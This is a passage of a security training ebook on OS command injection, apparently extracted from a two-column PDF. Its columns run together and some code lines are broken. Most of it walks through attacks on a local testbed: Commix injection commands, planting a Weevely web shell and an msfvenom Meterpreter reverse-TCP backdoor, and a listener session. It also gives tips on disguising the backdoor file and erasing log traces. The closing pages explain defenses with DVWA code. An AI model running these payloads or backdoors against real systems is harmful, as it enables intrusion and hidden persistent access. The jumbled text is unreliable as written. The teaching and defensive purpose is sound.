reverse_tcp ​and ​bind_tcp ​which would 
set up a reverse TCP connection or set a  Automatically gathering system 
bind TCP connection.  information with Commix 
The Bind TCP option opens up a port on the  Now, let’s collect the same kind of data that 
target host, while Reverse TCP tries to  we collected through the pseudo-terminal, 
connect to you from the target machine back  but instead we’ll let commix do that for us by 
to your machine.  passing in enumeration options: 

We briefly saw the concepts of reverse  python commix.py


shells in a prior lesson, and this is very  --url=​"http://127.0.0.1:3000/commi
similar, although Bind shells and Reverse  x-testbed/scenarios/regular/GET/cl
assic.php?addr=INJECT_HERE"
shells do have differences, and typically 
--current-user --hostname
reverse shells work best. I won’t go into the 
--is-root --sys-info 
differences here, but feel free to look it up or 
ask us in our ​Discord ​server or ​Forums ​if  It now returns information about the current 
you’re curious to learn more.  user running this application, the hostname, 
whether the user has root privileges, and 
In any case, let’s see what kind of 
system information like the operating system 
information we can get form this 
and hardware platform. 
pseudo-terminal. 
And now let’s take a look at a User-Agent 
Just like we’ve seen in a prior lesson, we can 
HTTP Header injection vulnerability. 
type commands like: 
whoami 

24 

​© 2020 - Cybr 
 

whereas –level=2 tests Cookie 


values 
User-Agent HTTP Header  ● --technique​=​"c"​ – uses the 
injections  classic, results-based, command 
injection technique 
We’ll go to the Classic user-agent-based 
This one can take quite a while, so we’ll 
example. 
fast-forward. 
At this endpoint, the testbed application 
After a little while, I think maybe 5-10 
prints out our User-Agent information from 
minutes, we find a successful payload: 
the HTTP headers, and if we cheat and ​look 
at the source code​: we will see that the code  echo​ JFGKXK$((43+25))$(​echo
grabs the ​HTTP_USER_AGENT​ ​from the  JFGKXK)JFGKXK 
$​_SERVER​ variable and then runs the exec 
It again asks us if we want a 
command to echo out that information: 
Pseudo-Terminal shell, but I’ll go ahead and 
<?php say no this time. I also won’t continue the 
$user_agent = attack. 
$_SERVER[​'HTTP_USER_AGENT'​];
echo​ exec(​"echo
'"​.$user_agent.​"'"​); Conclusion 
?> 
At this point, we’ve looked at a few different 
So at first glance, this definitely looks  examples, but there are many more in the 
injectable because I am seeing no security  commix application, including cookie-based, 
mechanism, and we can modify the  referer-based, and more, so feel free to play 
HTTP_USER_AGENT​ ​to be whatever we want  around with those! There are also some that 
it to be!  may not be exploitable, so you can try to 
Let’s set up our attack with this command,  figure out which one those are and how 
we can use this command:  they’re defending against Commix’s 
automated attacks! 
python commix.py
--url​=​"http://127.0.0.1:3000/commi Otherwise, let’s go ahead and complete this 
x-testbed/scenarios/user-agent/ua( lesson, and I’ll see you in the next! 
classic).php"​ ​--level​=3
--technique​=​"c" 
● --level​=​3​ – option 3 tests 
User-Agent and Referer values, 

25 

​© 2020 - Cybr 
 

 
 

Creating and 
Exploiting Backdoor 
Shells 
 

Slides used in this lesson​. 

Now that we’ve performed automated and 


Techniques and tools 
manual attacks, it’s time to take it a step  For this lesson, we’re going to use two 
further. In this lesson, we’re going to  techniques that rely on two different tools: 
generate backdoor shells and plant them on 
the target host in order to persist access for  1. Upload a Weevely PHP web shell 
as long as possible. This is known as the  2. Upload a metasploit PHP meterpreter 
post-exploitation phase, which focuses on  shell 
identifying the value of our target as well as 
Weevely​ is a very lightweight and simple 
extending and elevating our access. 
approach, while ​Metasploit​ (​Meterpreter​) is 
That way, you can continue accessing your  an entire framework that offers a lot of 
target as many times and for as long as you  variety and powerful tools.  
want, assuming that you don’t get detected.  
Both of these techniques will end up giving 
If performing a pentest for a client, this can  us similar results in this lesson, they’re just 
also be a good way to see how far you can  two different approaches. 
take the exploit, and it can be used to 
We’ll start with the Weevely approach since 
demonstrate how critical the vulnerability is. 
it’s a bit more straightforward. 

26 

​© 2020 - Cybr 
 

Weevely is a weaponized web shell, 


meaning that it is designed to be used once 
a system has been compromised. 

Concept of Backdoors 
So with our prior examples, we 
compromised the DVWA and the Commix 
Testbed systems after finding out that they 
were vulnerable to OS Command Injections.   
But, having to exploit an application through 
And if we can find a way to elevate our 
endpoints or by running attacks manually or 
privileges, we could even completely wipe 
with automated tools not only limits us, but it 
out all of our traces by deleting those entries 
can trigger red flags and leave a lot of 
from system logs. We could look for system 
footprints behind. 
or application credentials, and we could try 
to move laterally, meaning that we move 
through our target’s systems, networks, and 
environments. 

This is a massive set of topics by itself and 


it’s outside the scope of this course, but 
keep in mind that this can escalate to more 
advanced techniques very rapidly.  

  Creating and Exploiting 


Instead, the ideal solution would be to  Backdoors with Weevely 
create a backdoor that lets us exploit our 
Make sure you have your Commix Testbed 
target whenever we need, and without 
environment up and running: 
having to exploit it through those endpoints 
vulnerable endpoints. Essentially, we’re  systemctl start dockerdocker ​run
figuratively creating a “back door” into the  --rm -it -d -p 3000:80
server that no one else knows about and  cybrcom/commix-testbed 
that we can use whenever we want to 
Then, I’ll move to my Documents directory: 
establish a shell connection.  
cd​ ~​/Documents 

27 

​© 2020 - Cybr 
 

But before I do that, I’m going to cheat a little 


Generating the payload  bit because our upload attempt will actually 
fail at first, and I want to show you why. Let’s 
Once there, let’s generate our Weevely  jump inside of the container: 
payload: 
docker ps 
weevely ​generate​ commix
weevely​.php  Grab the container ID and use it for this 
command: 
More information: 
docker exec -​it​ <​id​> /bin/bash 
https://github.com/commixproject/commix/wi
ki/Upload-shells​. 
Now let’s pull up the apache error logs to 
It will create a weevely.php file in our current  monitor what happens. 
directory with the password commix. To  tail -f /​var​/​log​/apache2/​error​.​log 
view the contents, we can type: 
Now let’s go back to Commix and run our 
cat​ ​weevely​.php 
attack: 
As you can see, the code is obfuscated  python​ commix.​py
through encryption, but this code is what  --url=​"http://127.0.0.1:3000/commi
creates our backdoor.   x-testbed/scenarios/regular/GET/cl
assic.php?addr=INJECT_HERE"
The creators of Weevely call this the  --​file​-upload=​"/home/kali/Document
backdoor agent, and this is the file that we  s/weevely.php"
want to upload to the target web folder.  --​file​-dest=​"/var/www/example.com/
Once it’s uploaded to the target web folder,  public_html/commix-testbed/scenari
we will have the web server execute that  os/regular/GET/" 
PHP code which is what gives us remote 
With this command, we are uploading the 
access. So, the agent has to be reachable 
Weevely file to the target destination.  
from a URL you have access to, otherwise 
this won’t work.  It will ask if we want to enable an HTTP 
server to which we will respond Y. Then we 
get this warning: 
Uploading our Weevely 
[warning] It seems that you don​'t
backdoor  have permissions to write the
'/var/​www​/example.com/​public_html​/
In order to upload it, we have to go back to  commix-testbed/​scenarios​/regular/​G
using Commix.  ET​/weevely.php' file. 

28 

​© 2020 - Cybr 
 

And the file did not write because our user  ommix-testbed/​scenarios​/regular/​GE
T​/weevely.php file was uploaded
running the application does not have 
successfully! 
proper permissions. This is because of how 
permissions have been set up on the 
We’ve uploaded our backdoor agent to the 
server/container. 
server, and we can verify with the 
If we exit out of the error logs, and we run an  Pseudo-terminal: 
ls -l​, we will see that the directory is  ls​ ​weevely​.php 
owned by root. While I would not 
recommend having root own the web 
application directory, in this case it  Exploiting the Weevely 
prevented us from uploading files via the 
command injection vulnerability, so that is 
backdoor 
something to keep in mind when we explore 
After uploading the backdoor agent, we can 
defenses later in the course! Permissions 
execute the script from Weevely back on our 
can play a role in preventing compromises, 
system. 
but they also should not be the only 
defense.  weevely
http:​//​127.0​.​0.1​:​3000​//​commix-test
Let’s change these permissions so that we  bed​/scenarios/​regular​/GET/​weevely.
can demonstrate the file upload:  php commix 

chown​ -​R​ www-​data​:www-​data


As a reminder, the commix at the end is the 
commix-testbed 
password we used to encrypt this file. 

Now, let’s re-run our attack.  We now have shell access to the 
python​ commix.​py server/container, and if this were not a lab 
--url=​"http://127.0.0.1:3000/commi environment, we could keep this access for 
x-testbed/scenarios/regular/GET/cl as long as our victims don’t realize the 
assic.php?addr=INJECT_HERE" backdoor is there. 
--​file​-upload=​"/home/kali/Document
s/weevely.php" Considering that this weevely.php file is just 
--​file​-dest=​"/var/www/example.com/ one of thousands of files on this system, 
public_html/commix-testbed/scenari depending on how sophisticated your target 
os/regular/GET/"  is, it could be that they never find this file. 
You could even change this to be a filename 
And there you have it! 
that blends in even more. For example, there 
[info] The are a bunch of files in here that start with 
/var/​www​/example.com/​public_html​/c classic_​, so you could name yours 

29 

​© 2020 - Cybr 
 

classic_advanced_auth​.php​ and it would 


If the target were on a different network, 
blend right in. 
we’d have to use a different LHOST and 
Alright, enough of me giving you bad ideas,  LPORT and potentially do port forwarding, 
let’s move on to our next tool and technique.  but that’s not the case here. 

● -e represents the encoder to use, set 


Creating and exploiting  to php/base64 
● -f is for format, which we set to raw 
backdoors with  ● > ~/Documents/msfvenom.php – 
Meterpreter  which outputs our payload file 

Add ​<?php​ ​?>​ in the file: 


For this approach, we’re going to use 
MSFvenom​ to generate our payload.  vim​ msfvenom.php
MSFvenom is a combination of Msfpayload  gg #shortcut ​to​ ​go​ ​to​ beginning of
file
and MSfencode, and it replaced both of 
i #insert ​mode
those tools back in 2015. So now, we can do 
esc #escape ​insert​ ​mode
this from one single tool. While we won’t  $ #shortcut ​to​ ​go​ t
​ o​ end of ​line
spend much time on this tool and how it  a​ #shortcut ​to​ ​move​ ​cursor​ after
works, it’s definitely something to research  current character
further if you are interested.  i
?>
Generating our payload with  esc:​x​ #write ​changes​ ​and​ ​exit 
MSFvenom 
Starting our listener with Metasploit 
msfvenom -p
php/meterpreter/reverse_tcp Meterpreter 
LHOST​=10.0.2.15 ​LPORT​=4444 -e
Next, we’ll use metasploit to start our 
php/base64 -f​ raw ​>
~/Documents/msfvenom.php  listener: 

● -p​ – the payload to use, in this case  msfconsole


php​/meterpreter/​reverse_tcp  use exploit/multi/handler
set​ payload
● LHOST​ ​– represents the localhost IP 
php​/meterpreter/​reverse_tcp
to receive a back connection, which 
set​ ​LHOST 10.0.2.15
we can check with sudo ​ifconfig​, 
set​ ​LPORT 4444
looking at ​eth0​, which is ​10​.0.2.15  exploit 
● LPORT​ ​– represents the local port on 
which the connection listens for the  At which point you should see: 
victim, which we set to ​4444 

30 

​© 2020 - Cybr 
 

[*]​ ​Started​ ​reverse​ ​TCP​ ​handler​ ​on


Exploiting the Backdoor with 
10​.0.2.15:4444  
Metasploit Meterpreter 
Delivering the payload with 
You should also see a change in your 
Commix  metasploit window that indicates a 
successful connection, like this: 
Now, it’s time to deliver our payload and 
watch the magic happen!  [*]​ ​Started​ ​reverse​ ​TCP​ ​handler​ ​on
10​.0.2.15:4444​ ​[*]​ ​Sending​ ​stage
python commix.py
(38288 ​bytes​) ​to​ 172​.17.0.2[*]
--url=​"http://127.0.0.1:3000/commi
Meterpreter​ ​session​ 1 ​opened
x-testbed/scenarios/regular/GET/cl
(10​.0.2.15:4444​ ​-​>
assic.php?addr=INJECT_HERE"
172​.17.0.2:52140)​ a ​ t​ 2020​-09-14
--file-upload=​"/home/kali/Document
15​:27:48​ ​-0400meterpreter​ > 
s/msfvenom.php"
--file-dest=​"/var/www/example.com/
If you type ​pwd​, it should show the 
public_html/commix-testbed/scenari
endpoint’s directory: 
os/regular/GET/"​ --os-cmd=​"php -f
/var/www/example.com/public_html/c /var/​www​/example.com/​public_html​/c
ommix-testbed/scenarios/regular/GE ommix-testbed/​scenarios​/regular/​GE
T/msfvenom.php"  T 
● php -f​ command tells PHP to parse 
Just like with Weevely, we now have a 
and execute a file, in this case our 
backdoor that gives us shell access any time 
payload 
we want it! 
Y​ for the HTTP server 

N​ ​if it asks you to continue where you left off  Conclusion 


You should see this success info message:  We’ve now used a number of different 
[info] The approaches and techniques in order to 
/var/​www​/example.com/​public_html​/c exploit this OS Command Injection, and I 
ommix-testbed/​scenarios​/regular/​GE hope that you’re convinced that this is 
T​/msfvenom.php file was uploaded definitely a threat to take very seriously. 
successfully! 
Go ahead and have fun with these exploits 
and see what you can do, and then 
complete this lesson to move on to the next! 

31 

​© 2020 - Cybr 
 

 
 

Defenses against OS 


Command injections 
  1. Avoid calling OS commands directly 
2. Escape values added to OS 
OS Command Injections cannot be 
commands specific to each OS 
under-estimated as we’ve seen. 
3. Parameterization in conjunction with 
Thankfully, this type of attack is a lot less  Input Validation 
likely to happen, since as we saw, it requires 
Let’s take a look at each of these, and then 
giving an attacker access to injecting system 
we’ll explore the code behind the DVWA 
commands from the application. Most 
and the different levels of difficulty so that 
applications do not need that kind of 
we can see how they implement different 
functionality, or if they do, there are safer 
security controls, and how effective they are. 
implementations.   

In fact, let’s take a look at those 


implementations. 
Avoid calling OS 
  commands directly 
How to defend against OS  This is the most obvious and most effective: 

Command Injections  avoid calling OS commands directly. 

Whenever possible, use APIs or libraries for 


Let’s reference the ​OWASP Cheat Sheet​ so 
the language that you are using instead of 
that you have an additional resource to look 
shell commands. 
into if you need more information. 
In this example, they show using mkdir() to 
Overall, just like with SQL injections, treat all 
create a directory instead of a system() or 
user-supplied values as dangerous.  
exec() call since it can’t be manipulated in 
But more specifically, there are three main  the same ways. 
defense options: 

32 

​© 2020 - Cybr 
 

Here’s a list of other dangerous ones to look  escapeshellcmd() 


out for in your code and to replace with 
The first one is used to escape a string that 
alternatives: 
will be used as a shell argument, while the 
  second escapes any characters in a string 
that might be used to trick a shell command 
Language  API 
into executing arbitrary commands. 
Java  Runtime.exec()   

C/C++  systemexecShellE Parameterization in 


xecute 
conjunction with Input 
Python  execevalos.syste
mos.popensubproc Validation 
ess.popensubproc
ess.call  Finally, we have parameterization in 
conjunction with input validation. So — 2 
PHP  systemshell_exec
different layers. 
execproc_openeva
l  Layer 1 – the parameterization approach 
enforces separation between the data and 
Source & additional reading on testing for  the command, and the proper quoting and 
OS command injections  encoding to escape values. 
 
Layer 2 – the input validation approach 
Escape values added to  should also be familiar to you from the SQL 

OS commands specific to  injection section, but this aims to verify the 
user-supplied data to make sure it matches 
each OS  expectations. 

The point of this defense is to disarm  When validating commands: There are 
potentially harmful commands from  different ways to validate input, including 
user-supplied input.  “whitelists” or the “allowlist” as I prefer to 
call them, which specify a list of allowed 
How it does this depends on the method  commands. If the input doesn’t match one of 
you are calling. The examples here show  those, it doesn’t pass it on to the system. 
two PHP options: 
When validating arguments for those 
escapeshellarg() 
commands: you can again use an allowlist, 
  or use an allowlist and other validation 

33 

​© 2020 - Cybr 
 

techniques like regular expressions,  ​else​ {


maximum lengths, type verifications (like if  ​ / *nix
/
it’s supposed to be an integer, string, etc).  $cmd = shell_exec(
  'ping -c 4 '​ . $target );
}
Additional Defenses 
​// Feedback for the end
Of course, you should always seek to run  user
the least privileges possible. So when  $html .=
configuring your application and servers,  "<pre>{$cmd}</pre>"​;
make sure the applications run with the  }
lowest privileges. 
?> 
And if you can, create isolated accounts with 
even more limited privileges that are only  On line 5, we grab the user input.  
used for a single purpose. 
  On line 8, we have an if statement checking 
for Windows vs unix-based system. 
Code Examples  On line 10, we run ​shell_exec​()​ for the 
Now, feel free to browse these code  Windows version and the same for line 13 
examples, but we’re going to pull up the  but for unix. 
DVWA instead.  As we know, this version is vulnerable to 
Let’s start with the ​low security​ version:  command injections, so let’s look at the next 
level of security. 
<?php
if​( ​isset​( $_POST[ ​'Submit'​ ] ) ) The medium version implements a 
{ “denylist”: 
​// Get input
$target = $_REQUEST[ ​'ip' <?php
];
if​( ​isset​( $_POST[ ​'Submit'​ ] ) )
​// Determine OS and {
execute the ping command. ​// Get input
​if​( stristr( php_uname( $target = $_REQUEST[ ​'ip'
's'​ ), ​'Windows NT'​ ) ) { ];
​// Windows
$cmd = shell_exec( ​ / Set blacklist
/
'ping '​ . $target ); $substitutions = ​array​(
} ​'&&'​ => ​''​,

34 

​© 2020 - Cybr 
 

​';'​ => ​''​, {


); ​ / Get input
/
$target = trim($_REQUEST[
​ / Remove any of the
/ 'ip'​ ]);
characters in the array
(blacklist). ​ / Set blacklist
/
$target = str_replace( $substitutions = ​array​(
array_keys( $substitutions ), ​'&'​ => ​''​,
$substitutions, $target ); ​';'​ => ​''​,
​'| '​ => ​''​,
​// Determine OS and ​'-'​ => ​''​,
execute the ping command. ​'$'​ => ​''​,
​if​( stristr( php_uname( ​'('​ => ​''​,
's'​ ), ​'Windows NT'​ ) ) { ​')'​ => ​''​,
​// Windows ​'`'​ => ​''​,
$cmd = shell_exec( ​'||'​ => ​''​,
'ping '​ . $target ); );
}
​else​ { ​// Remove any of the
​// *nix charactars in the array
$cmd = shell_exec( (blacklist).
'ping -c 4 '​ . $target ); $target = str_replace(
} array_keys( $substitutions ),
$substitutions, $target );
​// Feedback for the end
user ​ / Determine OS and
/
$html .= execute the ping command.
"<pre>{$cmd}</pre>"​; ​if​( stristr( php_uname(
} 's'​ ), ​'Windows NT'​ ) ) {
​// Windows
?>  $cmd = shell_exec(
'ping '​ . $target );
The only things being removed, though, are  }
the ​&​ and ​;,​ so we could still run command  ​else​ {
injections, so this is still vulnerable.  ​// *nix
$cmd = shell_exec(
The high security version steps it up a notch  'ping -c 4 '​ . $target );
with more characters in the denylist:  }

<?php
​// Feedback for the end
if​( ​isset​( $_POST[ ​'Submit'​ ] ) )

35 

​© 2020 - Cybr 
 

user $target =
$html .= $octet[​0​] . ​'.'​ . $octet[​1]
​ . ​'.'
"<pre>{$cmd}</pre>"​; . $octet[​2​] . ​'.'​ . $octet[​3​];
}
​ / Determine OS
/
?>  and execute the ping command.
​if​( stristr(
Finally, the version considered impossible  php_uname( ​'s'​ ), ​'Windows NT'​ ) )
mostly relies on input validation:  {
​// Windows
<?php
$cmd =
shell_exec( ​'ping '​ . $target );
if​( ​isset​( $_POST[ ​'Submit'​ ] ) )
}
{
​else​ {
​// Check Anti-CSRF token
​// *nix
checkToken( $_REQUEST[
$cmd =
'user_token'​ ], $_SESSION[
shell_exec( ​'ping -c 4 '​ .
'session_token'​ ], ​'index.php'​ );
$target );
}
​// Get input
$target = $_REQUEST[ ​'ip'
​// Feedback for
];
the end user
$target = stripslashes(
$html .=
$target );
"<pre>{$cmd}</pre>"​;
}
​// Split the IP into 4
​else​ {
octects
​// Ops. Let the
$octet = explode( ​"."​,
user name theres a mistake
$target );
$html .=
'<pre>ERROR: You have entered an
​ / Check IF each octet is
/
invalid IP.</pre>'​;
an integer
}
​if​( ( is_numeric(
}
$octet[​0​] ) ) && ( is_numeric(
$octet[​1​] ) ) && ( is_numeric(
// Generate Anti-CSRF token
$octet[​2​] ) ) && ( is_numeric(
generateSessionToken();
$octet[​3​] ) ) && ( sizeof( $octet
) == ​4​ ) ) {
?> 
​// If all 4 octets
are int's put the IP back
together.

36 

​© 2020 - Cybr 
 

We use the ​stripslashes​()​ command 


which removes slashes from the user input,  Conclusion 
then we split the supposed IP into 4 octets 
and remove the periods with the PHP  So that is the method that the DVWA 
explode​()​ method.  creators ended up using to fix this 
vulnerability, but each application is different 
After that, we check whether each octet is  and may require a different approach. 
an integer or not, and whether there really 
are only 4 octects or not.  So now that you have explored what OS 
Command Injections are, how attacks can be 
So if we’re looking at an IP like ​127​.0.0.1​, it  carried out against your applications, and 3 
would break it out as ​127 0 0 1​. In that  defense controls you can implement, it’s 
case, we do have an octect of size 4 since  time for you to verify your own applications 
it’s a valid IP, and each octet is an integer, so  for these vulnerabilities. 
we put it all back together for it to then be 
passed on to the ​shell_exec()​ method  Additional Resources 
and executed as a command. 
Once you’re done with that, go ahead and 
If someone tried slipping in a command  complete this lesson and I’ll see you in the 
injection into this, it would reject it and the  next! 
command would never get executed. 
 

Additional resources 
As we wrap up this course, I wanted to provide some additional resources in regards to OS 
Command Injections so that you can continue learning on your own, if you’re interested in taking 
your skills further. 

● Command Injection testbeds(some of these are no longer online) 


● Perform effective command injection attacks like Mr.Robot 
● Commix: Detecting and Exploiting Command Injection Flaws 
○ Presentation 
○ Whitepaper 
● Commix usage examples 
● OS Command Injection Techniques 

37 

​© 2020 - Cybr 
 

● OS Command Injections explained 


● Reverse Shells 
● Upload Shells 
● OS Command Injections Cheat Sheet (OWASP) 

If you come across any other useful resources, please share with us on ​Discord​ or in our ​Forums 
so I can add them here! 
 

What Now? 
Now that you’ve completed this course, here’s what I recommend. 

Apply what you’ve learned towards your own application(s) 


If you haven’t already, review your own applications for these potential vulnerabilities, and make 
sure that you’re applying security best practices. 

If that seems like an overwhelming task, and you’re not quite sure where to even start with that 
process, check out my ​Introduction to Application Security course​ because we cover different 
frameworks and processes that help solve this exact problem 

Ask questions, and get clarification! 


If there are any questions that I haven’t answered in the course, or if you need any further 
clarification, go ahead and post in our Forums or in our Discord community so that we can get 
that answered for you! 

● Forums 
● Discord 

We even have more free resources available on our YouTube channel and on our social media 
channels: 

● LinkedIn 

38 

​© 2020 - Cybr 
 

● Facebook 
● YouTube 
● Twitter 

Practice your new skills! 


If you’re interested, check out capture the flag events or platforms that have challenges related to 
injections, and go ahead and practice the new skills you’ve developed in this course. 

In addition to CTFs, continue practicing in the environments that we set up for this course, 
leveraging the techniques that we’ve explored in order to find, and exploit, those vulnerabilities. 
Then, peel back the layers and look at the actual code to figure out why certain attacks worked 
while others didn’t. 

Take the online course version of this ebook 


We do also have a course version of this ebook with videos and written text, which is a format 
that some people prefer. It’s also ​free and easily accessible here​. 

Share the course! 


Finally, if you got value from this course, please share it with a friend or colleague so that they 
can also learn about these web-based threats and how to defend their own applications. 

Conclusion 
I really appreciate you enrolling in my course, and I hope to see you in my other courses as well! 

I’d also ​love to connect on LinkedIn​, where I post regularly. 

39 

​© 2020 - Cybr 
 

Thanks for reading! 

- ​Christophe 

40 

​© 2020 - Cybr 

You might also like